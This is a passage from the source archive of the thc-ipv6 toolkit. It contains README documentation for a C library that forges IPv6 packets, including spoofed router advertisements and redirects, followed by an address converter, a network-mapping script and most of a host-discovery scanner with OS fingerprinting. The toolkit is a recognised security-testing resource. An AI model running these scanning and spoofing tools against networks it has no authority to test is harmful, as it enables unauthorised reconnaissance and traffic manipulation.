header as (OPTIONAL - -1 sets this to the correct value) (char*) buf - a char buffer. you have to control this buffer yourself with but you want to write into it. (int) buflen - the length of buf These functions return (int) 0 on success and -1 on error. Finally you can add the stream or dgram headers. thc_add_icmp6(my_ipv6_packet, &my_ipv6_packet_len, type, code, flags, buf, buflen, checksum); thc_add_tcp(my_ipv6_packet, &my_ipv6_packet_len, source_port, destination_port, sequence_number, ack_number, flags, window_size urgent_pointer, options, optione_length, data, data_length); thc_add_udp(my_ipv6_packet, &my_ipv6_packet_len, source_port, destination_port, checksum, data, data_length); thc_add_data6(my_ipv6_packet, &my_ipv6_packet_len, type, buf, buflen); _icmp6: Add an ICMP6 packet header (int) type: the ICMP6 type (int) code: the ICMP6 code (int) flags: the ICMP6 flags (char*) buf - a char buffer. you have to control this buffer yourself with but you want to write into it. (int) buflen - the length of buf _tcp|_udp: Add an TCP or UDP header (ushort) source_port: source port (ushort) destination_port: destination port (uint) sequence_number: TCP sequence number (uint) ack_number: TCP acknowledgement number (ushort) checksum: UDP checksum, 0 = generate checksum (for TCP the checksum is always calculated) (uchar) flags: TCP flags: TCP_SYN, TCP_ACK, TCP_FIN, TCP_RST, TCP_PSH, ... (uint) window_size: TCP window size (uint) urgent_pointer: TCP urgent pointer (usually 0) (char*) options: TCP options buffer, can be NULL (uint) options_length: the length of the TCP options buffer (char*) data: the data the protocol carries (uint) data_length: the length of the data buffer _data6: Add a miscellaneous header (int) type: the protocol ID (char*) buf - a char buffer. you have to control this buffer yourself with but you want to write into it. (int) buflen - the length of buf These functions return (int) 0 on success and -1 on error. Once you are done, you create and send the packet. thc_generate_pkt(interface, srcmac, dstmac, my_ipv6_packet, &my_ipv6_packet_len); thc_send_pkt(interface, my_ipv6_packet, &my_ipv6_packet_len); or combined into one function: thc_generate_and_send_pkt(interface, srcmac, dstmac, my_ipv6_packet, &my_ipv6_packet_len); thc_generate_and_send_pkt: This generates the real and final IPv6 packet and then sends it. (char*) interface - the interface to send the packet on (unsigned char*) srcmac - the source mac to use (in network format) (OPTIONAL, the real mac is used if NULL) (unsigned char*) dstmac - the destination mac to use (in network format) (OPTIONAL, the real mac is looked up if NULL) The thc_generate_pkt and thc_send_pkt together provide the same functionality. You usually use these only if you do something like thc_generate_pkt(...); while(1) thc_send_pkt(...); These functions return (int) 0 on success and -1 on error. When you are done, free the memory with: thc_destroy_packet(my_ipv6_packet); There are some important helper functions you will need: thc_resolve6(destinationstring); This resolves the IPv6 address or DNS name to an IPv6 network address. Use this for dst6 in thc_create_ipv6_extended(). The result has to be free'd when not needed anymore. thc_inverse_packet(my_ipv6_packet, &my_ipv6_packet_len); This clever functions switches source and destination address, exchanges the ICMP header type (ECHO REQUEST -> ECHO REPLY etc.) and recalculates the checksum. If you dont have an idea what this might be useful for, go and play with your xbox :-) If you just want to do it very fast, there are some predefined ICMPv6 creator functions which sends impc6 packets in just one line of code: thc_ping6(interface, src, dst, size, count); thc_neighboradv6(interface, src, dst, srcmac, dstmac, flags, target); thc_neighborsol6(interface, src, dst, target, srcmac, dstmac); thc_routeradv6(interface, src, dst, srcmac, default_ttl, managed, prefix, prefixlen, mtu, lifetime); thc_routersol6(interface, src, dst, srcmac, dstmac); thc_toobig6(interface, src, srcmac, dstmac, mtu, my_ipv6_packet, my_ipv6_packet_len); thc_paramprob6(interface, src, srcmac, dstmac, code, pointer, my_ipv6_packet, my_ipv6_packet_len); thc_unreach6(interface, src, srcmac, dstmac, icmpcode, my_ipv6_packet, my_ipv6_packet_len); thc_redir6(interface, src, srcmac, dstmac, newrouter, newroutermac, my_ipv6_packet, my_ipv6_packet_len); thc_send_as_fragment6(interface, src, dst, type, buf, buflen, frag_len); These do what you expect them to do, so I am too lazy^H^H^H^H^Hbusy to describe it in more details. The following functions allocate memory for the result pointer, so remember to free the result pointers from these functions once you do not need them anymore: thc_ipv6_dummymac() thc_ipv62notation() thc_ipv62string() thc_string2ipv6() thc_string2notation() thc_resolve6() thc_get_own_ipv6() thc_get_own_mac() thc_get_multicast_mac() thc_get_mac() thc_lookup_ipv6_mac() thc_look_neighborcache() thc_generate_key() thc_generate_cga() thc_generate_rsa() It helps a lot if you take a look at example usages. The best ones are the tools from the thc-ipv6 package, especially implementation6.c and fake_*6.c - have fun, and send back code, so the community can further build on it. DETECTION ========= Most tools can easily be detected by an IDS or specialized detection software. This is done on purpose to make rogue usage detection easier. The tools either specify a fixed packet signature, or generically sniff for packets (e.g. therefore also answering to ICMPv6 neighbor solitications which are sent to a non-existing mac, and are therefore very easy to detect). If you dont want this, change the code. PATCHES, BUGS, HINTS, etc. ========================== Send them to vh (at) thc (dot) org (and add "antispam" to the subject line) Or submit via github: https://github.com/vanhauser-thc/thc-ipv6 Have fun! thc-ipv6-3.8/address6.c000066400000000000000000000124131376121567700147230ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax:\n\t%s mac-address [ipv6-prefix]\n", prg); printf("\t%s ipv4-address [ipv6-prefix]\n", prg); printf("\t%s ipv6-address\n\n", prg); printf( "Converts a mac or IPv4 address to an IPv6 address (link local if no " "prefix is\n"); printf( "given as 2nd option) or, when given an IPv6 address, prints the mac or " "IPv4\n"); printf( "address. Prints all possible variations. Returns -1 on errors or the " "number of\n"); printf("variations found\n"); exit(-1); } int main(int argc, char *argv[]) { unsigned char *ptr, *dst6, ipv4[16] = "", ipv6[40], *prefix; int i, j, k, found = 0; struct in_addr in; if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if ((dst6 = index(argv[1], '/')) != NULL) *dst6 = 0; if ((dst6 = thc_resolve6(argv[1])) != NULL) { // ipv6 address if (dst6[11] == 0xff && dst6[12] == 0xfe) { // EUI-64 encoding of mac printf("%02x:%02x:%02x:%02x:%02x:%02x\n", (dst6[8] ^ 2), dst6[9], dst6[10], dst6[13], dst6[14], dst6[15]); return 1; } // ::ffff:ip4enc:ipv4enc support if (dst6[8] + dst6[9] == 0 && dst6[10] == 0xff & dst6[11] == 0xff) { dst6[10] = 0; dst6[11] = 0; } if (dst6[8] + dst6[10] + dst6[12] + dst6[14] == 0 && dst6[9] != 0) { // hexdecimal ipv4 j = 0; for (i = 0; i < 4; i++) if (dst6[9 + i * 2] > 9) j++; if (j > 0) { sprintf(ipv4, "%d.%d.%d.%d", dst6[9], dst6[11], dst6[13], dst6[15]); if (inet_aton(ipv4, &in) != 0) { printf("%s\n", ipv4); found++; } } } if (dst6[8] + dst6[9] + dst6[10] + dst6[11] == 0 && dst6[12] != 0) { // hexdecimal ipv4 #2 sprintf(ipv4, "%d.%d.%d.%d", dst6[12], dst6[13], dst6[14], dst6[15]); if (inet_aton(ipv4, &in) != 0) { printf("%s\n", ipv4); found++; } } // now try for decimal ipv4 encoding memset(dst6, 0, 8); ptr = thc_ipv62notation(dst6); ptr += 2; j = 0; for (i = 0; i < strlen(ptr); i++) if (ptr[i] > ':') j++; else if (ptr[i] == ':') ptr[i] = '.'; if (j == 0 && inet_aton(ptr, &in) != 0) { j = 0; for (i = 0; i < strlen(ptr); i++) if (ptr[i] == '.') j++; if (j == 3) { printf("%s\n", ptr); found++; } } if (found > 0) return found; fprintf(stderr, "Error: the IPv6 address does not contain a mac or encoded IPv4 " "address\n"); return -1; } // now check for a prefix argument if (argc == 3) { if ((ptr = index(argv[2], '/')) != NULL) *ptr = 0; if ((prefix = thc_resolve6(argv[2])) == NULL) { fprintf(stderr, "Error: invalid prefix: %s\n", argv[2]); return -1; } } else prefix = thc_resolve6("fe80::"); if (index(argv[1], '.') != NULL) { // ipv4 to ipv6 ptr = argv[1]; for (i = 0; i < 4; i++) { if ((dst6 = index(ptr, '.')) != NULL) *dst6 = 0; ipv4[i] = atoi(ptr); if ((i < 3 && dst6 == NULL) || (i == 3 && dst6 != NULL)) { i = 3; ipv4[0] = 0; } else if (dst6 != NULL) ptr = dst6 + 1; } j = 0; k = 0; for (i = 0; i < 4; i++) { if (ipv4[i] > 255) j++; if (ipv4[i] > 9) k = 1; } if (j == 0 && ipv4[0] != 0) { // from here we know its a valid ipv4 address memcpy(ipv6, prefix, 8); memset(ipv6 + 8, 0, 8); for (i = 0; i < 4; i++) ipv6[9 + i * 2] = ipv4[i]; printf("%s\n", thc_ipv62notation(ipv6)); // hex representation #1 memset(ipv6 + 8, 0, 4); memcpy(ipv6 + 12, ipv4, 4); printf("%s\n", thc_ipv62notation(ipv6)); // hex representation #2 memset(ipv6 + 8, 0, 7); ipv6[15] = ipv4[3]; printf("%s\n", thc_ipv62notation(ipv6)); // hex representation #3 if (k) { // do we need decimal representation too, or would it be a // double? sprintf(ipv6, "::%d:%d:%d:%d", ipv4[0], ipv4[1], ipv4[2], ipv4[3]); dst6 = thc_resolve6(ipv6); memcpy(dst6, prefix, 8); printf("%s\n", thc_ipv62notation(dst6)); } if (ipv4[3] < 10) return (3 + k); else { // 2nd decimal representation sprintf(ipv6, "::%d", ipv4[3]); dst6 = thc_resolve6(ipv6); memcpy(dst6, prefix, 8); printf("%s\n", thc_ipv62notation(dst6)); return (4 + k); } } } if (index(argv[1], ':') != NULL) { // mac to ipv6 sscanf(argv[1], "%x:%x:%x:%x:%x:%x", (unsigned int *)&k, (unsigned int *)&ipv6[9], (unsigned int *)&ipv6[10], (unsigned int *)&ipv6[13], (unsigned int *)&ipv6[14], (unsigned int *)&ipv6[15]); memcpy(ipv6, prefix, 8); ipv6[8] = (k ^ 2); ipv6[11] = 0xff; ipv6[12] = 0xfe; printf("%s\n", thc_ipv62notation(ipv6)); return 1; } fprintf(stderr, "Error: neither a valid mac, IPv4 or IPv6 address\n"); return -1; } thc-ipv6-3.8/alive2map.sh000077500000000000000000000015561376121567700152710ustar00rootroot00000000000000#!/bin/bash test -z "$1" -o -z "$2" -o "$1" = "-h" && { echo Syntax: $0 interface ALIVE-FILE; echo Creates a GraphViz .gv file from the file containing alive IPv6 addresses. ; echo Several files will be created in the same directory as the input file. ; exit 1; } echo Ping scanning list ... alive6 -p -i "$2" $1 | grep Alive: | grep echo-reply | awk '{print$2}' > "$2".pingable echo Extracting one target from every network ... for i in `extract_networks6.sh "$2".pingable | sort -u | sed 's/:$//'`; do grep "^$i" "$2".pingable | head -n 1 done > "$2".traceable echo Tracerouting targets ... for i in `cat "$2".traceable`; do trace6 $1 $i > $i.trace trace62list.sh $i.trace > $i.list done echo Creating GraphViz GV file create_network_map.sh *.list > "$2".gv echo Creating JPG file dot -Tjpg "$2".gv > "$2".jpg echo Done, JPG is in $2.jpg and GraphViz is in $2.gv thc-ipv6-3.8/alive6.c000066400000000000000000002133731376121567700144060ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" #include "fps.h" #define MAX_ALIVE 65536 #define MAX_NETS 1024 #define MAX_VENDID 64 #define MAX_PORTS 256 #define MAX_FOUR 16 #define TCP_OPT_LEN 28 // 20 #define FPS_INVALID "invalid packet data" #define FPS_UNKNOWN "unknown" #define RESP_PONG "ICMP echo-reply" #define RESP_UNREACH_PORT "ICMP port unreachable" #define RESP_UNREACH_ROUTE "ICMP network unreachable" #define RESP_UNREACH_FW "ICMP firewalled unreachable" #define RESP_UNREACH_OOSCOPE "ICMP out of scope unreachable" #define RESP_UNREACH_ADDR "ICMP host unreachable" #define RESP_UNREACH_GRESS "ICMP ingress/egress filter unreachable" #define RESP_UNREACH_REJECT "ICMP route reject unreachable" #define RESP_TOOBIG "ICMP packet too big" #define RESP_TTLEXCEED "ICMP TTL exceeded" #define RESP_REDIR "ICMP local router traffic redirect" #define RESP_PARAMPROB "ICMP parameter problem" #define RESP_ERROR "ICMP error" #define RESP_UDP "UDP" #define RESP_SYNACK "TCP SYN-ACK" #define RESP_RST "TCP RST" #define RESP_ACK "TCP ACK" #define RESP_OTHER "TCP misc-options" #define RESP_UNKNOWN "unknown" extern int _thc_ipv6_rawmode; struct fingerprint { char OS[1024]; char FP[200]; }; static char _fingerprint[4096]; // not thread safe! unsigned char buf[8], *alive[MAX_ALIVE], *tagging = NULL; int alive_no = 0, resolve = 0, waittime = 1, portscan = 0, curr = 0, list = 0, slow = 0; int synports[MAX_PORTS], ackports[MAX_PORTS], udpports[MAX_PORTS]; int ndp_only = 0, do_ping = 1, do_dst = 1, do_hop = 0, verbose = 0, srcport = -1, do_help = 0, do_hopcount = 0, still_not_there = 0, rst_means_alive = 1; unsigned long int tcount = 0; FILE * out = NULL; struct hostent * he = NULL; short int si, sp, sp2; // all dict entries must start with a single from/to 0,0,0,0 // and end with a single from/to ffff,ffff,ffff,ffff unsigned short int dict_small[] = { 0, 0, 0, 0, /*to */ 0, 0, 0, 0, 0, 0, 0, 1, /*to */ 0, 0, 0, 0x2ff, // 1975 tests 0, 0, 0, 0x300, /*to */ 0, 0, 0, 0x305, 0, 0, 0, 0x400, /*to */ 0, 0, 0, 0x405, 0, 0, 0, 0x443, /*to */ 0, 0, 0, 0x445, 0, 0, 0, 0x500, /*to */ 0, 0, 0, 0x505, 0, 0, 0, 0x530, /*to */ 0, 0, 0, 0x53f, 0, 0, 0, 0x555, /*to */ 0, 0, 0, 0x555, 0, 0, 0, 0x600, /*to */ 0, 0, 0, 0x605, 0, 0, 0, 0x666, /*to */ 0, 0, 0, 0x667, 0, 0, 0, 0x700, /*to */ 0, 0, 0, 0x703, 0, 0, 0, 0x800, /*to */ 0, 0, 0, 0x803, 0, 0, 0, 0x900, /*to */ 0, 0, 0, 0x903, 0, 0, 0, 0xaaa, /*to */ 0, 0, 0, 0xaaa, 0, 0, 0, 0xc38, /*to */ 0, 0, 0, 0xc38, 0, 0, 0, 0x9dd, /*to */ 0, 0, 0, 0x9dd, 0, 0, 0, 0xff0, /*to */ 0, 0, 0, 0xfff, 0, 0, 0, 0x1000, /*to */ 0, 0, 0, 0x1111, 0, 0, 0, 0x1337, /*to */ 0, 0, 0, 0x1337, 0, 0, 0, 0x14e9, /*to */ 0, 0, 0, 0x14e9, 0, 0, 0, 0x1a0b, /*to */ 0, 0, 0, 0x1a0b, 0, 0, 0, 0x1f40, /*to */ 0, 0, 0, 0x1f40, 0, 0, 0, 0x1f90, /*to */ 0, 0, 0, 0x1f90, 0, 0, 0, 0x2000, /*to */ 0, 0, 0, 0x2111, 0, 0, 0, 0x3000, /*to */ 0, 0, 0, 0x3011, 0, 0, 0, 0x3128, /*to */ 0, 0, 0, 0x3128, 0, 0, 0, 0x2525, /*to */ 0, 0, 0, 0x2525, 0, 0, 0, 0x5353, /*to */ 0, 0, 0, 0x5353, 0, 0, 0, 0x6666, /*to */ 0, 0, 0, 0x6667, 0, 0, 0, 0x8000, /*to */ 0, 0, 0, 0x8000, 0, 0, 0, 0x8080, /*to */ 0, 0, 0, 0x8080, 0, 0, 0, 0xaaaa, /*to */ 0, 0, 0, 0xaaaa, 0, 0, 0, 0xabcd, /*to */ 0, 0, 0, 0xabcd, 0, 0, 0, 0xbabe, /*to */ 0, 0, 0, 0xbabe, 0, 0, 0, 0xbeef, /*to */ 0, 0, 0, 0xbeef, 0, 0, 0, 0xcafe, /*to */ 0, 0, 0, 0xcafe, 0, 0, 0, 0xc0de, /*to */ 0, 0, 0, 0xc0de, 0, 0, 0, 0xdead, /*to */ 0, 0, 0, 0xdead, 0, 0, 0, 0xf500, /*to */ 0, 0, 0, 0xf500, 0, 0, 0, 0xfeed, /*to */ 0, 0, 0, 0xfeed, 0, 0, 0, 0xfff0, /*to */ 0, 0, 0, 0xffff, 0, 0, 1, 0, /*to */ 0, 0, 1, 0x1ff, 0, 0, 2, 0, /*to */ 0, 0, 0x1bb, 5, 0, 0, 2, 6, /*to */ 0, 0, 9, 9, 0, 0, 2, 0xa, /*to */ 0, 0, 2, 0x20, 0, 0, 2, 0x21, /*to */ 0, 0, 3, 0x21, 0, 0, 2, 0x22, /*to */ 0, 0, 3, 0x22, 0, 0, 2, 0x25, /*to */ 0, 0, 9, 0x25, 0, 0, 2, 0x50, /*to */ 0, 0, 9, 0x50, 0, 0, 2, 0x53, /*to */ 0, 0, 9, 0x53, 0, 0, 2, 0x80, /*to */ 0, 0, 9, 0x80, 0, 0, 2, 0x1bb, /*to */ 0, 0, 9, 0x1bb, 0, 0, 2, 0x500, /*to */ 0, 0, 9, 0x500, // 0, 0, 0xa, 0, /*to */ 0, 0, 0xf, 2, 0, 0, 0x80, 6, /*to */ 0, 0, 0x80, 0x1f, 0, 0, 0x200, 0, /*to */ 0, 0, 0x200, 3, 0, 0, 0x389, 0, /*to */ 0, 0, 0x389, 3, 0, 0, 0x443, 0, /*to */ 0, 0, 0x443, 3, 0, 0, 0x500, 0, /*to */ 0, 0, 0x500, 2, 0, 0, 0x666, 0, /*to */ 0, 0, 0x669, 2, 0, 0, 0x3128, 0, /*to */ 0, 0, 0x3128, 3, 0, 0, 0x6666, 0, /*to */ 0, 0, 0x6669, 2, 0, 0, 0x8080, 0, /*to */ 0, 0, 0x8080, 3, 0, 0, 0xdead, 0xbeef, /*to */ 0, 0, 0xdead, 0xbeef, // 0, 1, 0, 0, /*to */ 0, 3, 3, 3, 0, 0, 0, 0, /*to */ 4, 4, 4, 4, // 24 doubles here == 0.42% 1, 0, 0, 5, /*to */ 1, 0, 0, 0xf, // 2, 0, 1, 0, /*to */ 2, 0, 1, 3, 2, 0, 0, 5, /*to */ 2, 0, 0, 0xd, // 1, 2, 3, 4, /*to */ 1, 2, 3, 4, 5, 0, 0, 1, /*to */ 0xff, 0, 0, 2, 0xffff, 0x00ff, 0xfe00, 0xfffe, /*to */ 0xffff, 0x00ff, 0xfe00, 0xffff, 0xffff, 0xffff, 0xffff, 0xfffe, /*to */ 0xffff, 0xffff, 0xffff, 0xfffe, 0xffff, 0xffff, 0xffff, 0xffff, /*to */ 0xffff, 0xffff, 0xffff, 0xffff}; unsigned short int dict_large[] = { 0, 0, 0, 0, /*to */ 0, 0, 0, 0, 0, 0, 0, 1, /*to */ 0, 0, 1, 0x2fff, // 1975 tests 0, 0, 0, 0x3000, /*to */ 0, 0, 1, 0x3333, 0, 0, 0, 0x5353, /*to */ 0, 0, 2, 0x5353, 0, 0, 0, 0x6666, /*to */ 0, 0, 2, 0x6667, 0, 0, 0, 0x8000, /*to */ 0, 0, 2, 0x8000, 0, 0, 0, 0x8080, /*to */ 0, 0, 2, 0x8080, 0, 0, 0, 0xaaaa, /*to */ 0, 0, 2, 0xaaaa, 0, 0, 0, 0xabcd, /*to */ 0, 0, 2, 0xabcd, 0, 0, 0, 0xbabe, /*to */ 0, 0, 2, 0xbabe, 0, 0, 0, 0xbeef, /*to */ 0, 0, 2, 0xbeef, 0, 0, 0, 0xcafe, /*to */ 0, 0, 2, 0xcafe, 0, 0, 0, 0xc0de, /*to */ 0, 0, 2, 0xc0de, 0, 0, 0, 0xdead, /*to */ 0, 0, 2, 0xdead, 0, 0, 0, 0xf500, /*to */ 0, 0, 2, 0xf500, 0, 0, 0, 0xfeed, /*to */ 0, 0, 2, 0xfeed, 0, 0, 0, 0xfff0, /*to */ 0, 0, 2, 0xffff, 0, 0, 2, 0, /*to */ 0, 0, 0x1bb, 5, 0, 0, 2, 0x11, /*to */ 0, 0, 2, 0x100, 0, 0, 2, 0x1bb, /*to */ 0, 0, 9, 0x1bb, 0, 0, 2, 0x500, /*to */ 0, 0, 9, 0x500, 0, 0, 2, 6, /*to */ 0, 0, 10, 10, 0, 0, 0xa, 0, /*to */ 0, 0, 0xf, 5, 0, 0, 0x80, 6, /*to */ 0, 0, 0x80, 0x1f, 0, 0, 0x200, 0, /*to */ 0, 0, 0x200, 5, 0, 0, 0x389, 0, /*to */ 0, 0, 0x389, 5, 0, 0, 0x443, 0, /*to */ 0, 0, 0x443, 5, 0, 0, 0x500, 0, /*to */ 0, 0, 0x500, 5, 0, 0, 0x666, 0, /*to */ 0, 0, 0x669, 5, 0, 0, 0x3128, 0, /*to */ 0, 0, 0x3128, 5, 0, 0, 0x6666, 0, /*to */ 0, 0, 0x6669, 5, 0, 0, 0x8080, 0, /*to */ 0, 0, 0x8080, 5, 0, 0, 0xdead, 0xbeef, /*to */ 0, 0, 0xdead, 0xbeef, // 0, 1, 0, 0, /*to */ 0, 3, 3, 3, 0, 0, 0, 0, /*to */ 5, 5, 5, 5, // some doubles here 1, 0, 0, 6, /*to */ 1, 0, 0, 0x10, // 2, 0, 1, 0, /*to */ 2, 0, 1, 3, 2, 0, 0, 5, /*to */ 2, 0, 0, 0x10, // 1, 2, 3, 4, /*to */ 1, 2, 3, 4, 6, 0, 0, 0, /*to */ 0xff, 0, 0, 2, 0xffff, 0x00ff, 0xfe00, 0xfffe, /*to */ 0xffff, 0x00ff, 0xfe00, 0xffff, 0xffff, 0xffff, 0xffff, 0xfffe, /*to */ 0xffff, 0xffff, 0xffff, 0xfffe, 0xffff, 0xffff, 0xffff, 0xffff, /*to */ 0xffff, 0xffff, 0xffff, 0xffff}; unsigned short int *dict = NULL; unsigned char tcp_opt[TCP_OPT_LEN] = {0x02, 0x04, 0xff, 0xff, 0x04, 0x02, 0x08, 0x0a, 0x00, 0x09, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x01, 0x03, 0x03, 0xff, 0x06, 0x06, 0xb0, 0x0b, 0xba, 0xbe, 0x01, 0x01}; // more keywords: // cafe, dead, beef, affe, b00b, babe, f00, fefe, ffff, 1337, 666, 0, 1 void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s [-CFHLMPSdlpvV] [-I srcip6] [-i file] [-o file] [-e opt] [-s " "port,..] [-a port,..] [-u port,..] [-T tag] [-W TIME] interface " "[unicast-or-multicast-address [remote-router]]\n\n", prg); printf("Options:\n"); if (do_help) printf(" Output Options:\n"); printf(" -i file check systems from input file\n"); printf(" -o file write results to output file\n"); if (do_help) printf( " -v verbose information (twice: detailed, thrice: dumping " "packets)\n"); if (do_help > 1) printf(" -V enable debug output\n"); printf(" -d DNS resolve alive IPv6 addresses\n"); if (do_help > 1) printf(" -H print hop count of received packets\n"); if (do_help) printf(" Enumerate Options:\n"); printf( " -M enumerate hardware addresses (MAC) from input addresses " "(slow!)\n"); printf( " -C enumerate common addresses of input networks, -CC for " "large scan\n"); printf( " -4 ipv4/range test various IPv4 address encodings per network (eg " "1.2.3.4/24)\n"); if (do_help > 1) printf( " -y step for range scans (2000::0-f), define the step range " "(default: 1)\n"); if (do_help) printf(" Alive Technique Options:\n"); printf(" -p send a ping packet for alive check (default)\n"); printf( " -e dst,hop send an errornous packets: destination (default), " "hop-by-hop\n"); printf( " -s port,port,.. TCP-SYN packet to ports for alive check or " "\"portscan\"\n"); printf(" -a port,port,.. TCP-ACK packet to ports for alive check\n"); printf(" -u port,port,.. UDP packet to ports for alive check\n"); if (do_help) printf( " -F firewall mode: -p -e dst -u 53 -s 22,25,80,443,9511 -a " "9511\n"); if (do_help > 1) printf( " -R do not consider TCP-RST as alive (good with firewalls, " "e.g. -F)\n"); if (do_help) printf(" Sending Options\n"); if (do_help) { printf( " -n number how often to send each packet (default: local 1, remote " "2)\n"); printf( " -W time time in ms to wait after sending a packet (default: " "%d)\n", waittime); printf( " -S slow mode, get best router for each remote target or " "when proxy-NA\n"); printf( " -I src[/mask] use the specified IPv6 address as source. Use mask " "for random.\n"); printf( " -l use link-local address for multicast addresses instead " "of global\n"); printf( " -P only print addresses that would be scanned, no packets " "are sent!\n"); if (do_help > 1) { printf( " -L local mode - perform only NDP and report local systems " "alive\n"); printf( " -r renew IPv6 src address for every new target (waits if " "none there)\n"); printf(" -T tag put tag string in ICMP packets\n"); printf(" -x port TCP/UDP src port for -s, -a and -u\n"); printf(" -Z mac use given destination mac address\n"); } printf( " -m raw mode (for network adapters where you do not have " "Ethernet)\n"); } if (do_help == 1) { printf(" Help Options:\n"); printf(" -hh show even more options\n"); } else printf( " -h to display more command line options and help (-hh: more " "options)\n"); printf( "\nTarget address on command line or in input file can include ranges in " "the form\n"); printf("of 2001:db8::1-fff or 2001:db8::1-2:0-ffff:0:0-ffff, etc.\n"); if (do_help) { printf("Do not use the ranges (from-to) option with -M, -C or -4.\n"); printf( "If you use SYN packets (-s/-F option), automatic OS detection is " "performed.\n"); // printf("If you specify a remote router, fragmentation+srcroute is // performed.\n"); printf( "Returns -1 on errors, 0 if a system was found alive or 1 if nothing " "was found.\n"); } exit(-1); } /*****************************************************************************************/ /* Copyright (c) warlord @ nologin.org. All rights reserved. For more information, please visit http://www.nologin.org */ char *get_OS(char *query_fp) { int i = 0; for (i = 0; i < sizeof(fingerprintsArray) / sizeof(fingerprintsArray[0]); i++) { if (strcmp(fingerprintsArray[i].fingerprint, query_fp) == 0) return fingerprintsArray[i].OS; } return FPS_UNKNOWN; } char *warlord_checkFingerprint(char *buffer, int len) { char *os, *end, *ptr, ip_mod, ip_ver = 0, ip_hdr_size = 0; ip_ver = (((unsigned char)buffer[0] & 0xf0) >> 4); if (ip_ver == 4) { ip_mod = 0; ip_hdr_size = ((buffer[0] & 0x0f) << 2); } else if (ip_ver == 6) { ip_mod = 20; // to align packet sizes in FPS with IPv4 for IPv6 (would be // 40 bytes - 20 = 20 equals to IPv4) ip_hdr_size = 40; } if (ip_ver == 0 || (len - ip_hdr_size) < 20 || ip_hdr_size < 20 || ip_hdr_size > 40) // invalid ip version or packet too short? return FPS_INVALID; snprintf( _fingerprint, sizeof(_fingerprint) - 1, "%04x:%02x:%04x", len + 20 - ip_hdr_size, // total length (calculated with assumed ipv4 header (unsigned char)buffer[ip_hdr_size + 12], // header length ntohs(*(in_port_t *)&buffer[ip_hdr_size + 14])); // window size // So what kind of tcp options did we receive? // This is being used for OS fingerprinting end = &buffer[len]; if (len > ip_hdr_size + (unsigned char)buffer[ip_hdr_size + 12]) end = &buffer[ip_hdr_size + (unsigned char)buffer[ip_hdr_size + 12]]; for (ptr = &buffer[ip_hdr_size + 20]; ptr < end;) { switch (*ptr) { case 0x0: // end of options ptr = end; break; case 0x1: // some pad entire options portion with NOP to keep response // option size the same strncat(_fingerprint, ":NOP", sizeof(_fingerprint) - strlen(_fingerprint) - 1); ptr++; break; case 0x2: // segment size snprintf(&_fingerprint[strlen(_fingerprint)], sizeof(_fingerprint) - strlen(_fingerprint), ":SS%04x", ntohs(*(in_port_t *)(ptr + 2))); ptr += 4; break; case 0x3: // window scaling strncat(_fingerprint, ":WSxx", sizeof(_fingerprint) - strlen(_fingerprint) - 1); ptr += 3; break; case 0x4: // Sack Permitted / Sack Denied switch (ptr[1]) { case 0x2: strncat(_fingerprint, ":SP", sizeof(_fingerprint) - strlen(_fingerprint) - 1); break; default: strncat(_fingerprint, ":SD", sizeof(_fingerprint) - strlen(_fingerprint) - 1); break; } ptr += 2; break; case 0x6: // echo request strncat(_fingerprint, ":PI", sizeof(_fingerprint) - strlen(_fingerprint) - 1); ptr += 6; break; case 0x7: // echo reply strncat(_fingerprint, ":PO", sizeof(_fingerprint) - strlen(_fingerprint) - 1); ptr += 6; break; case 0x8: // Time stamp strncat(_fingerprint, ":TS", sizeof(_fingerprint) - strlen(_fingerprint) - 1); ptr += 10; break; default: // unknown snprintf(&_fingerprint[strlen(_fingerprint)], sizeof(_fingerprint) - strlen(_fingerprint), ":UOP%02x", (unsigned char)(*ptr)); ptr += (unsigned char)ptr[1]; break; } } _fingerprint[sizeof(_fingerprint) - 1] = 0; // printf ("%s\t\tport %5d\t", inet_ntoa (src), ntohs // (recvtcp->source)); os = get_OS(_fingerprint); if (strcmp(os, FPS_UNKNOWN) == 0) return _fingerprint; return os; } /* end of warlords code */ /**************************************************************************/ void check_packets(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { int i, ok = 0, len = header->caplen, offset = 0, nxt; unsigned char *ptr = (unsigned char *)data, *p1, *p2, *p3, sport[16] = "", *orig_dst = NULL; char *type = RESP_UNKNOWN, hopcount[20] = "", *os = NULL; if (do_hdr_size) { ptr += do_hdr_size; len -= do_hdr_size; if ((ptr[0] & 240) != 0x60) return; } else if (_thc_ipv6_rawmode == 0) { ptr += 14; len -= 14; } if (debug) thc_dump_data(ptr, len, "Received Packet"); if (len < 48 + sizeof(buf)) return; nxt = ptr[6]; // if the destination system sends source routed packets back, unlikely though // if (ptr[6] == NXT_ROUTE) // if ((offset = (ptr[41] + 1) * 8) + 48 + sizeof(buf) > len) // return; if (ptr[6 + offset] == NXT_FRAG) { nxt = ptr[40 + offset]; offset += 8; } if (still_not_there == 1) still_not_there = 0; if (nxt == NXT_ICMP6 && (do_ping || do_dst || do_hop || udpports[0] != -1)) { if (ptr[40 + offset] == ICMP6_PINGREPLY && (do_ping || do_dst || do_hop)) { if (tagging == NULL) { if (memcmp(ptr + 50 + offset, (char *)&si + _TAKE2, 2) == 0) { ok = 1; type = RESP_PONG; } } else { // printf("TAG: %s\n", ptr + 48 + offset); if (memcmp(ptr + 48 + offset, (char *)tagging, strlen(tagging)) == 0) { ok = 1; type = RESP_PONG; } } } else // if not a ping reply, its an error packet and the size is larger if (len < 96 + sizeof(buf)) return; if (ptr[40 + offset] == ICMP6_PARAMPROB && (do_dst || do_hop)) if (memcmp(ptr + len - 4, (char *)&si + _TAKE2, 2) == 0) { if (list == 0 && do_hop) ok = 2; else ok = 1; type = RESP_PARAMPROB; } if (ptr[40 + offset] == ICMP6_UNREACH && ptr[41 + offset] == 4 && udpports[0] != -1) if (memcmp(ptr + 88 + offset, (char *)&sp2 + _TAKE2, 2) == 0) { ok = 1; type = RESP_UNREACH_PORT; i = (ptr[90 + offset] << 8) + ptr[91 + offset]; snprintf(sport, sizeof(sport), "%d/", i); } } if (nxt == 